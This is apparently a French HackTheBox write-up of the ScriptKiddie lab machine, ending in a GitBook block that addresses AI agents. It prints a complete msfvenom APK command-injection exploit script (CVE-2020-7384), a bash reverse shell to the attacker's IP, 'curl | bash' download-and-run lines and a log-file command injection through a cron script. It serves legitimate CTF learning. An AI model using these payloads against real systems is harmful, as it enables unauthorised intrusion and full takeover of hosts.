> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# Compte rendu HackTheBox de Scriptkiddie

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
Compétences :

* Exploitation de Msfvenom (CVE-2020-7384) (RCE)
* Exploitation abusive des journaux + tâche cron (injection de commandes et pivot vers l'utilisateur)
* Exploitation abusive du privilège sudoers (élévation de privilèges avec msfconsole)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/45b66756c13a2e8f22f8bf79ab9ce43e0b9185c5" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/14ccc5cd158d8c69cb90e64cc3069210a8bd0894" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="/files/0e000b2866d476d94764af882a4a9b983c5b1789" alt=""><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="/files/ddc4df033fadd42e5afc4046376f889e776b4f7b" alt=""><figcaption></figcaption></figure>

## Port 5000 - Exploitation TCI de l'APK Msfvenom

<figure><img src="/files/0159717d9692d680c7235d4cbabd966beba66b43" alt=""><figcaption></figcaption></figure>

Nous identifions un service vulnérable exécuté sur le port 5000.

<figure><img src="/files/618e1d282bbd210786c8ae015b588c3d5c432bbd" alt=""><figcaption></figcaption></figure>

Nous effectuons une recherche des vulnérabilités associées :

```bash
searchsploit -m multiple/local/49491.py
```

Nous trouvons une injection potentielle via APK.

<figure><img src="/files/f4ac061d6b8109470e76e236fb34422c8384a8cb" alt="" width="557"><figcaption></figcaption></figure>

**Script d'exploit (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Modifie-moi
payload = 'ping 10.10.14.50'

# Utiliser b64encode pour éviter les caractères interdits (keytool est pointilleux)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Fabrication du fichier APK malveillant")
print(f"Charge utile : {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Créer empty_file
open(empty_file, "w").close()

# Créer apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Générer la clé de signature avec un -dname malveillant
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Signer l'APK à l'aide de notre dname malveillant
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Terminé ! Le fichier APK se trouve à {apk_file}")
print(f"À faire : msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

Le script génère un fichier temporaire contenant un APK malveillant.

<figure><img src="/files/4786f9f819cef1ae5aadc6c84d2f4d301b3785cc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ba67dc2bf0cad47ce06c684e23cad30f3f4e6284" alt=""><figcaption></figcaption></figure>

**Analyse des paquets ICMP**

Nous surveillons l'activité réseau pour détecter un retour :

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/70576cbf3ca775c3b786cc95ca65dcaf337bd224" alt=""><figcaption></figcaption></figure>

### **Exploitation RCE avec Msfvenom**

Nous modifions la charge utile pour établir une connexion inverse :

```bash
# Modifie-moi
payload = 'curl 10.10.14.50 | bash'
```

Nous créons un `index.html` fichier contenant :

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Nous lançons un serveur HTTP :

```bash
python3 -m http.server 80
```

Ensuite, nous écoutons la connexion sur le port 443 :

```bash
nc -nlvp 443
```

Une fois l'APK envoyé et exécuté sur la machine cible, nous obtenons un shell à distance.

<figure><img src="/files/dd038db6f34b9d218025f1bf8b8eb6be2599423f" alt=""><figcaption></figcaption></figure>

#### Nous améliorons notre terminal pour une meilleure interactivité :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/a951e26f2f2ac75f65c849f4b2e476fc0f3ce077" alt="" width="563"><figcaption></figcaption></figure>

## **Élévation de privilèges**

### Pivot vers l'utilisateur pwn

Nous trouvons un script `scanlosers` dans le répertoire de l'utilisateur `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Ce script traite les journaux et exécute `nmap`, ce qui pourrait être exploité pour une élévation de privilèges.

<figure><img src="/files/f7053eb08de2f4982709b4221e4f3e60ce10a5f2" alt=""><figcaption></figcaption></figure>

L'idée est d'injecter une commande en tirant parti du filtrage par le troisième mot. Nous pouvons insérer un point-virgule `;` suivi d'une commande malveillante, comme `curl` vers un serveur contrôlé par l'attaquant.

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

Cela entraîne une requête HTTP vers notre serveur.

<figure><img src="/files/93fabe1a24a2850b7acfd5724bb3155852ac8e5c" alt=""><figcaption></figcaption></figure>

Nous écoutons sur notre machine avec :

```bash
nc -nlvp 443
```

Ensuite, nous injectons une commande pour obtenir un shell à distance :

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="/files/e891d7d5db891787514daed97aff4b36806a91ef" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

Nous vérifions le `sudo` les permissions :

```bash
sudo -l
```

<figure><img src="/files/01c872ec22344b3d4e5f3514d965e53e1a4cd3ee" alt=""><figcaption></figcaption></figure>

Nous découvrons que nous pouvons exécuter `Metasploit` en tant que `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="/files/dac02423b6211dc3709b17524d7946900304de84" alt=""><figcaption></figcaption></figure>

Dans `msfconsole`, nous ouvrons un shell Ruby interactif :

```ruby
irb
```

Puis nous lançons un shell Bash :

```ruby
system("/bin/bash")
```

Nous sommes maintenant `root` et pouvons lire le `root.txt` drapeau ! 🎉

<figure><img src="/files/c27331ae8d7d3be739ce42ae2251f2ea34f82a5b" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/93baaff04178a39c272dfa2f4e5c50f7005d4fde" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f5e3923119d26a9c902c2a96fcf5e67cc2cb3981" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
